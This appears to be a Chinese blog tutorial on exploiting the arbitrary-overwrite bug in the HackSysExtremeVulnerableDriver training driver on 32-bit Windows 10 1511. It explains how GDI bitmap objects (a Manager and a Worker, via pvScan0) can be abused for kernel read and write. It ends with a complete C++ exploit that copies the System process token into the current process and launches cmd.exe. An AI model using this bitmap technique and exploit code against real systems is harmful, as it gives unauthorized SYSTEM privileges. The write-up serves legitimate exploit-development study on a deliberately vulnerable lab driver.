HEVD ArbitraryOverwrite BitMap [win10v1511x86]

前面,我们通过复写内核中的HalDispatchTable实现了提权,但是在Win10以后,想在内核中执行shellcode需要绕过很多保护措施的,因此这里我们引入一种新的方法实现对内核的利用

利用分析#

我们本质上还是要实现将exp进程的token替换为System的token,where是exp进程token地址,what是System进程token

找System进程token#

原理:windows kernel中存在一个PsInitialSystemProcess的指针,指向System进程的EPROCESS

windows kernel在不同环境下有不同名称:

  • ntoskrnl 单处理器,不支持PAE
  • ntkrnlpa 单处理器,支持PAE
  • ntkrnlmp 多处理器,不支持PAE
  • ntkrpamp 多处理器,支持PAE

我们调试看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
kd> dd nt!PsInitialSystemProcess
83fa703c 855f89e8 83f72640 8ec414b0 00010000
83fa704c 00000cd8 00000258 00000000 00000001
83fa705c 00000000 0000004b 00000001 00989680
83fa706c 00000000 00000029 00000002 c0ffffff
83fa707c c0607ff8 00000000 00000000 c0403080
83fa708c 00000000 00000100 00000500 00000000
83fa709c 00000001 00000000 00000003 00040107
83fa70ac 00000000 83fa70b0 83fa70b0 00000000
kd> !process 4 0
Searching for Process with Cid == 4
PROCESS 855f89e8 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 89201b60 HandleCount: 552.
Image: System

PsInitialSystemProcess的值我们可以在用户态使用API获取到,但是即使我们知道了,EPROCESS的地址,我们也没有足够的权限去读写它,这个时候就需要用到BitMap这个东西了

BitMap结构#

BitMap是Windows GDI的一个对象,存在于内核中,可以帮助我们实现任意地址读写。

img
当新建一个BitMap对象时,会在内核中分配三个结构,分别是BaseObject,SURFObj和Pixel Data,其中SURFOBJ中的pvScan0指向Pixel Data

BASEOBJECT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
typedef struct _BASEOBJECT32 // 5 elements, 0x10 bytes (sizeof)
{
ULONG32 hHmgr;
ULONG32 ulShareCount;
WORD cExclusiveLock;
WORD BaseFlags;
ULONG32 Tid;
}BASEOBJECT32, *PBASEOBJECT32;

typedef struct _BASEOBJECT64 // 0x18
{
ULONG64 hHmgr;
ULONG32 ulShareCount;
WORD cExclusiveLock;
WORD BaseFlags;
ULONG64 Tid;

void operator=(const BASEOBJECT32 &base )
{
hHmgr = base.hHmgr;
ulShareCount = base.ulShareCount;
cExclusiveLock = base.cExclusiveLock;
BaseFlags = base.cExclusiveLock;
Tid = base.Tid;
}

bool operator==(const _BASEOBJECT64 &base )
{
return ((hHmgr == base.hHmgr) && (Tid == base.Tid));
}

void dump()
{
dprint("BASEOBJECT:\n");
dprint("\thHmgr: %08lx\n", hHmgr);
dprint("\tulShareCount: %08lx\n", ulShareCount);
dprint("\tcExclusiveLock: %04lx\n", cExclusiveLock);
dprint("\tBaseFlags: %04lx\n", BaseFlags);
dprint("\tTid: %016I64x\n\n", Tid);
}

}BASEOBJECT64, *PBASEOBJECT64;

参考:https://github.com/panoramixor/GDIObjDump/blob/master/src/GDIObjDump/common.h

再看SURFOBJ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
typedef struct _SURFOBJ32 { pvScan0偏移0x20
ULONG32 dhsurf; // +4
ULONG32 hsurf; // +4
ULONG32 dhpdev; // +4
ULONG32 hdev; // +4
SIZEL sizlBitmap; // +8
/*
typedef struct tagSIZE
{
LONG cx;
LONG cy;
} SIZE, *PSIZE, *LPSIZE;

typedef SIZE SIZEL;
*/
ULONG cjBits; // +4
ULONG32 pvBits; // +4
ULONG32 pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ32 ;


typedef struct _SURFOBJ64 { pvScan0偏移0x38
ULONG64 dhsurf; // +8
ULONG64 hsurf; // +8
ULONG64 dhpdev; // +8
ULONG64 hdev; // +8
SIZEL sizlBitmap; // +8
ULONG64 cjBits; // +8
ULONG64 pvBits; // +8
ULONG64 pvScan0;
LONG32 lDelta;
ULONG32 iUniq;
ULONG32 iBitmapFormat;
USHORT iType;
USHORT fjBitmap;

void operator=(const SURFOBJ32 &surf )
{
dhsurf = surf.dhsurf;
hsurf = surf.hsurf;
dhpdev = surf.dhpdev;
hdev = surf.hdev;
sizlBitmap = surf.sizlBitmap;
cjBits = surf.cjBits;
pvBits = surf.pvBits;
pvScan0 = surf.pvScan0;
lDelta = surf.lDelta;
iUniq = surf.iUniq;
iBitmapFormat = surf.iBitmapFormat;
iType = surf.iType;
fjBitmap = surf.fjBitmap;
}

} SURFOBJ64;

重点关注其中的pvScan0变量,我们通过GetBitmapBitsSetBitmapBits来读写pvScan0指向的PixelData数据区

关键点pvScan0#

pvScan0指向的PixelData位于内核之中,因此如果可以控制pvScan0的值,我们就可以通过API去读写任意地址了。
我们再看一下CreateBitMap函数

1
2
3
4
5
6
7
HBITMAP CreateBitmap(
int nWidth,
int nHeight,
UINT nPlanes,
UINT nBitCount,
const VOID *lpBits
);

https://docs.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createbitmap
其中的lpBits描述如下:

1
2
3
lpBits

A pointer to an array of color data used to set the colors in a rectangle of pixels. Each scan line in the rectangle must be word aligned (scan lines that are not word aligned must be padded with zeros). If this parameter is NULL, the contents of the new bitmap is undefined.

而对应的pvScan0描述如下:

1
2
3
pvScan0

Pointer to the first scan line of the bitmap. If iBitmapFormat is BMF_JPEG or BMF_PNG, this member is NULL.

https://docs.microsoft.com/en-us/windows/win32/api/winddi/ns-winddi-surfobj

CreateBitmap 创建 Bitmap 对象后,会返回对应的资源句柄,该句柄的低16位是数组的访问下标

1
UINT index = hBitmap & 0xFFFF;

通过该下标可以找到对应的GDI对象描述

1
2
3
4
5
6
7
8
9
10
11
struct _GDI_CELL GdiSharedHandleTable[0x8fff];

struct _GDI_CELL
{
IntPtr pKernelAddress;
UInt16 wProcessId;
UInt16 wCount;
UInt16 wUpper;
UInt16 wType;
IntPtr pUserAddress;
}

这里GdiSharedHandleTable可以通过TEB->PEB->GdiSharedHandleTable的路径获取到。
GDI_CELL结构在32位下大小为0x10,64位下为0x18。它的第一个指针 pKernelAddress 指向了 BASEOBJECT 的第一个字节,也就是说

1
pvScan0 = *(PDWORD32)pKernelAddress + (x86:0x10,x64:0x18) + (x86:0x20,x64:0x38)

正是 pvScan0 的地址,具体偏移计算在前面结构处可以看到。至此,由于Windows实现问题,我们已经可以在用户态找到内核中的pvScan0地址了

BITMAP利用#

总的来说,当我们有了一个任意地址写任意值的能力时,我们可以通过以下流程使用BITMAP进行利用

  1. 新建BITMAP结构
  2. 用户态获取位于内核中的pvScan0地址
  3. 任意地址写漏洞改写 pvScan0 的值为我们想要读写的地址
  4. 使用GetBitMapBits和SetBitMapBits读写任意值

但是上面的流程好像只比原来的漏洞多了一个读的能力,当漏洞只能触发一次时,一次读写根本不能满足我们想要达到的目的,那怎么实现多次任意读写实现对内核的完全控制呢?这里就要通过两个BitMap结构实现了。

Manager + Worker实现读写内核完全控制
img

具体流程如下:

  1. 用户态新建Manager和Worker两个BitMap
  2. 使用任意地址写覆盖Manager的pvScan0为Worker的pvScan0地址
  3. 在用户态,操作Manager,可以替换Worker的pvScan0地址,再通过Worker来读写任意内存
  4. 通过任意地址读获取System进程的token
  5. 通过任意地址写替换当前进程token

C++ exp(VS2017)#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#include<stdio.h>
#include<Windows.h>
#include<Psapi.h>

typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
char driverName[1024];


VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD32 whereWrite, LPVOID whatWrite, int len)
{
SetBitmapBits(hManager, len, &whereWrite); // set 写的是 hWorker 的 pvScan0 的值 , 通过控制 hWorker 的 pvScan0 的值来决定对哪块地址进行读写
GetBitmapBits(hWorker, len, whatWrite);
}

VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD32 whereWrite, LPVOID whatWrite, int len)
{
SetBitmapBits(hManager, len, &whereWrite);
SetBitmapBits(hWorker, len, &whatWrite);
}

DWORD32 getKernelBase()
{
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
//Retrieves the load address for each device driver in the system
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);

for (int i = 0; i < 1024; i++)
{
//Retrieves the base name of the specified device driver
GetDeviceDriverBaseNameA(lpImageBase[i], (char*)driverName, 48);

if (!strncmp((char*)driverName, "nt", 2))
{
printf("[+]success to get %s\n", driverName);
return (DWORD32)lpImageBase[i];
}
}
return NULL;
}

DWORD32 getSystemEProcessAddr() {
DWORD32 ntKernelBase = getKernelBase();
if (ntKernelBase) {
printf("Success get ntKernelBase: 0x%p\n", ntKernelBase);
}
else {
printf("Failed get ntKernelBase\n");
exit(-1);
}
DWORD32 ntUserBase = NULL;
ntUserBase = (DWORD32)LoadLibraryA(driverName);
if (ntUserBase) {
printf("Success get ntUserBase: 0x%p\n", ntUserBase);
}
else {
printf("Failed get ntUserBase\n");
exit(-1);
}
DWORD32 PsInitialSystemProcessUserSpaceAddr = (DWORD32)GetProcAddress((HMODULE)ntUserBase, "PsInitialSystemProcess");
if (!PsInitialSystemProcessUserSpaceAddr) {
printf("Failed get PsInitialSystemProcessUserSpaceAddr\n");
exit(-1);
}
else {
printf("Success get PsInitialSystemProcessUserSpaceAddr: 0x%p\n", PsInitialSystemProcessUserSpaceAddr);
}
DWORD32 PsInitialSystemProcessKernelSpaceAddr = ntKernelBase + (PsInitialSystemProcessUserSpaceAddr - ntUserBase);
printf("PsInitialSystemProcessKernelSpaceAddr:0x%p", PsInitialSystemProcessKernelSpaceAddr);
return PsInitialSystemProcessKernelSpaceAddr;
}


DWORD32 getpvScan0Address(HBITMAP handle) {
printf(" handle value: 0x%p\n", (DWORD32)handle);

DWORD32 tebAddr = (DWORD32)NtCurrentTeb();
printf(" tebAddr: 0x%p\n", tebAddr);

DWORD32 pebAddr = *(PDWORD32)((PUCHAR)tebAddr + 0x30);
printf(" pebAddr: 0x%p\n", pebAddr);

DWORD32 GdiSharedHandleTableAddr = *(PDWORD32)((PUCHAR)pebAddr + 0x94);
printf(" GdiSharedHandleTableAddr: 0x%p\n", GdiSharedHandleTableAddr);

// GdiSharedHandleTableAddr 是一个指向GDICELL结构体数组的指针
// GDICELL 结构体 x86 0x10,x64 0x18
DWORD32 pKernelAddress = GdiSharedHandleTableAddr + ((DWORD32)handle & 0xffff) * 0x10;
printf(" pKernelAddress: 0x%p\n", pKernelAddress);

DWORD32 surfaceObject = *(PDWORD32)pKernelAddress;
printf(" surfaceObject address: 0x%p\n", surfaceObject);
// BASEOBJECT 结构体 x86 0x10,x64 0x18
// pvScan0 在 SURFOBJ 结构体中的偏移 x86 0x20,x64 0x38
DWORD32 pvScan0Address = surfaceObject + 0x10 + 0x20;
printf(" pvScan0 address: 0x%p\n", pvScan0Address);

return pvScan0Address;
}

VOID Trigger(DWORD32 where, DWORD32 what, HANDLE hevd)
{
WRITE_WHAT_WHERE exploit;
DWORD lpbReturn = 0;

exploit.Where = (PULONG_PTR)where;
exploit.What = (PULONG_PTR)& what;

DeviceIoControl(hevd,
0x22200B,
&exploit,
sizeof(WRITE_WHAT_WHERE),
NULL,
0,
&lpbReturn,
NULL);
}

HANDLE OpenDriver() {
HANDLE hevd = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);

if (hevd == INVALID_HANDLE_VALUE) {
wprintf(L"[-] Failed to open hevd\n");
exit(-1);
}
else {
wprintf(L"[+] Success to open hevd\n");
}
return hevd;
}

int main() {
HANDLE hevd = OpenDriver();
HBITMAP hManager = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
if (hManager == NULL) {
printf("create manager bitmap failed\n");
return 0;
}
HBITMAP hWorker = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
if (hWorker == NULL) {
printf("create worker bitmap failed\n");
return 0;
}

printf("Manager bitmap:\n");
DWORD32 ManagerpvScan0Address = getpvScan0Address(hManager);
printf("Worker bitmap:\n");
DWORD32 WorkerpvScan0Address = getpvScan0Address(hWorker);
Trigger(ManagerpvScan0Address, WorkerpvScan0Address, hevd);

DWORD32 systemEprocessAddr = 0;
systemEprocessAddr = getSystemEProcessAddr();
LPVOID lpSystemToken = NULL; // 获取 system 进程的 token
readOOB(hManager, hWorker, getSystemEProcessAddr(), &systemEprocessAddr, sizeof(DWORD32));
readOOB(hManager, hWorker, (systemEprocessAddr + 0x0f4), &lpSystemToken, sizeof(DWORD32));

// _eprocess + 0x0f4 是 token
// _eprocess + 0x0B8 是 ActiveProcessLinks.Flink
// _eprocess + 0x0b4 是 processid
// 获取当前进程的 _eprocess
DWORD32 lpNextEPROCESS = 0;
LPVOID lpCurrentPID = NULL;
DWORD32 dwCurrentPID;
LIST_ENTRY lpNextEntryAddreess = { 0 };
DWORD32 currentProcessID = GetCurrentProcessId(); // 通过PID判断是否获取到当前进程的地址
readOOB(hManager, hWorker, systemEprocessAddr + 0x0B8, &lpNextEntryAddreess, sizeof(LIST_ENTRY));

do // 根据PID是否找到当前进程
{
// 获取下一个进程
lpNextEPROCESS = (DWORD32)((PUCHAR)lpNextEntryAddreess.Flink - 0x0B8);
// 获取PID
readOOB(hManager, hWorker, lpNextEPROCESS + 0x0b4, &lpCurrentPID, sizeof(LPVOID));
dwCurrentPID = LOWORD(lpCurrentPID);
readOOB(hManager, hWorker, lpNextEPROCESS + 0x0B8, &lpNextEntryAddreess, sizeof(LIST_ENTRY));
} while (dwCurrentPID != currentProcessID);

DWORD32 currentTokenAddress = (DWORD32)lpNextEPROCESS + 0x0f4;
writeOOB(hManager, hWorker, currentTokenAddress, lpSystemToken, sizeof(LPVOID));

system("cmd.exe");
}

参考#

评论